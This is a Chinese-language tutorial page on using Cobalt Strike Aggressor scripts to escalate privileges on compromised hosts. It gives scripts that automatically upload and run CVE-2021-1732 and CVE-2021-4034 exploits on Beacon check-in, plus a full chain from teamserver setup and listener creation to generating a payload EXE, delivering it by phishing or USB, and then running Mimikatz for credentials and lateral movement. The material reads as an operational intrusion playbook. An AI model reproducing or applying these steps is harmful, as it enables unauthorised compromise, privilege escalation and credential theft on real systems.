当前位置: 首页 > news >正文

“Cobalt Strike Aggressor脚本提权全解析:从监听器到SYSTEM/root的渗透实战指南“

目录

1. Aggressor脚本是什么?如何提权?

2. 这种脚本提权针对什么漏洞?

3. 如何发现可用于CS提权的漏洞?

4. Windows和Linux利用Aggressor脚本提权的全过程

Windows提权:CVE-2021-1732 (Win32k提权)

Linux提权:CVE-2021-4034 (pkexec提权)

5. 提权能达到的权限类型

6. 从CS新建监听器到提权的详细方案

目标:Windows 10提权至SYSTEM

工具:CS + Aggressor脚本 + CVE-2021-1732


1. Aggressor脚本是什么?如何提权?

Aggressor脚本简介 Aggressor脚本是Cobalt Strike内置的一种脚本语言(基于Sleep),用于自定义和自动化CS的功能。它运行在Beacon(CS的后门代理)上,可以调用系统命令、加载模块、执行payload或与目标交互。提权是其常见应用,通过脚本调用漏洞利用代码或CS内置功能(如elevate模块)提升权限。

提权原理

  • 信息收集:脚本枚举目标系统信息(如OS版本、补丁状态、权限)。

  • 漏洞利用:根据信息匹配已知漏洞,执行提权payload。

  • 权限提升:从低权限(如普通用户)提升至高权限(如SYSTEM或root)。


2. 这种脚本提权针对什么漏洞?

Aggressor脚本本身不局限于特定漏洞,而是通过灵活性适配各种提权场景。常见的漏洞类型包括:

  • Windows

    • 内核漏洞(如CVE-2021-1732、CVE-2020-0796 SMBGhost)。

    • 权限配置错误(如SeImpersonatePrivilege滥用)。

  • Linux

    • 内核漏洞(如CVE-2021-4034 pkexec、Dirty COW)。

    • SUID/SUDO误配置。

具体漏洞取决于目标系统的版本和补丁状态。


3. 如何发现可用于CS提权的漏洞?

发现流程

  1. 系统枚举:用脚本运行systeminfo(Windows)或uname -a(Linux)收集版本信息。

  2. 权限检查:用whoamiid确认当前权限。

  3. 漏洞扫描

    • 调用外部工具(如PowerSploit或linux-exploit-suggester)。

    • 检查已知漏洞列表(如Exploit-DB)。

  4. 自动化验证:脚本对比系统信息与漏洞条件,确认可利用性。


4. Windows和Linux利用Aggressor脚本提权的全过程

Windows提权:CVE-2021-1732 (Win32k提权)

环境

  • 系统:Windows 10 20H2。

  • 当前权限:普通用户。

  • CS版本:最新。

步骤

  1. 脚本 - 信息收集

    sub gather_info {println("[*] Gathering system info...");$sysinfo = bshell($1, "systeminfo");if ($sysinfo =~ /20H2/) {println("[+] Vulnerable to CVE-2021-1732");return 1;}return 0;
    }
  2. 上传exploit

    • 准备CVE-2021-1732的EXE文件。

    sub upload_exploit {bupload($1, "c:/temp/cve-2021-1732.exe");println("[+] Exploit uploaded");
    }
  3. 执行提权

    sub run_elevation {bshell($1, "c:/temp/cve-2021-1732.exe");sleep(2000);$check = bshell($1, "whoami");if ($check =~ /system/) {println("[+] Elevated to SYSTEM");}
    }
  4. 完整脚本

    on beacon_initial {if (gather_info($1)) {upload_exploit($1);run_elevation($1);}
    }
  5. 执行:加载脚本,Beacon上线后自动提权。

Linux提权:CVE-2021-4034 (pkexec提权)

环境

  • 系统:Ubuntu 20.04。

  • 当前权限:普通用户。

步骤

  1. 脚本 - 信息收集

    sub gather_info {$uname = bshell($1, "uname -a");if ($uname =~ /Ubuntu 20.04/) {println("[+] Vulnerable to CVE-2021-4034");return 1;}return 0;
    }
  2. 上传并编译exploit

    sub upload_exploit {bupload($1, "/tmp/pkexec.c");bshell($1, "gcc /tmp/pkexec.c -o /tmp/pkexec");println("[+] Exploit compiled");
    }
  3. 执行提权

    sub run_elevation {bshell($1, "/tmp/pkexec");sleep(2000);$check = bshell($1, "id");if ($check =~ /root/) {println("[+] Elevated to root");}
    }
  4. 完整脚本

    on beacon_initial {if (gather_info($1)) {upload_exploit($1);run_elevation($1);}
    }
  5. 执行:加载脚本,提权至root。


5. 提权能达到的权限类型

  • Windows:最高NT AUTHORITY\SYSTEM,完全控制系统。

  • Linux:最高root,拥有所有权限。

  • 限制:取决于初始权限和漏洞利用成功率。


6. 从CS新建监听器到提权的详细方案

目标:Windows 10提权至SYSTEM
工具:CS + Aggressor脚本 + CVE-2021-1732

完整方案

  1. 启动CS Team Server

    • 在攻击机运行:

      ./teamserver <攻击机IP> <密码> [profile]
    • 例如:./teamserver 192.168.1.100 password123

  2. 创建监听器

    • 打开CS客户端,连接Team Server。

    • 导航至Cobalt Strike -> Listeners -> Add

      • Name:HTTP_Listener

      • Payload:windows/beacon_http

      • Host:192.168.1.100

      • Port:80

      • 保存并启动。

  3. 生成Payload

    • Attacks -> Packages -> Windows Executable

      • 选择HTTP_Listener

      • 输出格式:EXE。

      • 生成payload.exe并下载。

  4. 投递Payload

    • payload.exe通过钓鱼邮件、USB等方式投递至目标。

    • 目标执行后,Beacon上线。

  5. 确认Beacon上线

    • 在CS客户端查看Beacon列表,确认目标IP和用户。

  6. 编写Aggressor脚本

    sub check_priv {$whoami = bshell($1, "whoami");println("[*] Current user: $whoami");if ($whoami =~ /system/) {println("[+] Already SYSTEM");exit;}
    }
    ​
    sub gather_info {$sysinfo = bshell($1, "systeminfo");if ($sysinfo =~ /20H2/) {println("[+] Vulnerable to CVE-2021-1732");return 1;}return 0;
    }
    ​
    sub upload_exploit {bupload($1, "c:/temp/cve-2021-1732.exe");println("[+] Exploit uploaded");
    }
    ​
    sub run_elevation {bshell($1, "c:/temp/cve-2021-1732.exe");sleep(3000);$check = bshell($1, "whoami");if ($check =~ /system/) {println("[+] Elevated to SYSTEM");} else {println("[-] Elevation failed");}
    }
    ​
    on beacon_initial {check_priv($1);if (gather_info($1)) {upload_exploit($1);run_elevation($1);}
    }
  7. 加载脚本

    • View -> Script Manager -> Load,选择上述脚本。

  8. 提权执行

    • Beacon上线后,脚本自动运行,提权至SYSTEM。

  9. 验证与后续

    • 输入shell whoami,确认nt authority\system

    • 可加载Mimikatz提取凭据或进行横向移动。

相关文章:

  • HarmonyOS开发-组件市场
  • SpringAI--基于MySQL的持久化对话记忆实现
  • 关于C#项目中 服务层使用接口的问题
  • java-反射精讲
  • 移动设备常用电子屏幕类型对比
  • 【数据结构】1. 时间/空间复杂度
  • Java大师成长计划之第16天:高级并发工具类
  • 通过.sh脚本设置java环境变量
  • LeetCode:101、对称二叉树
  • 分治算法-leetcode148题
  • Linux云计算训练营笔记day05(Rocky Linux中的命令:管道操作 |、wc、find、vim)
  • Godot4.3类星露谷游戏开发之【昼夜循环】
  • 【软件设计师:数据】17.数据安全
  • 人力资源管理系统如何有效提高招聘效率?
  • Navicat 17最新保姆级安装教程(附安装包+永久使用方法)
  • 软件设计师教程——第一章 计算机系统知识(下)
  • 不同渲染任务,用CPU还是GPU?
  • upload文件上传
  • MySQL 的锁机制
  • Webug4.0靶场通关笔记24- 第29关Webshell爆破
  • 中俄元首今年首次面对面会谈,达成哪些新的重要共识?
  • 印巴战火LIVE|巴基斯坦多地遭印度导弹袭击,巴总理称“有权作出适当回应”
  • 央行行长详解降息:将通过利率自律机制引导商业银行相应下调存款利率
  • 怎样正确看待体脂率数据?或许并不需要太“执着”
  • 许昌市场监管部门对胖东来玉石开展日常检查:平均毛利率不超20%
  • 解锁川北底色密码,“文化三地”志愿宣讲员招募计划启动报名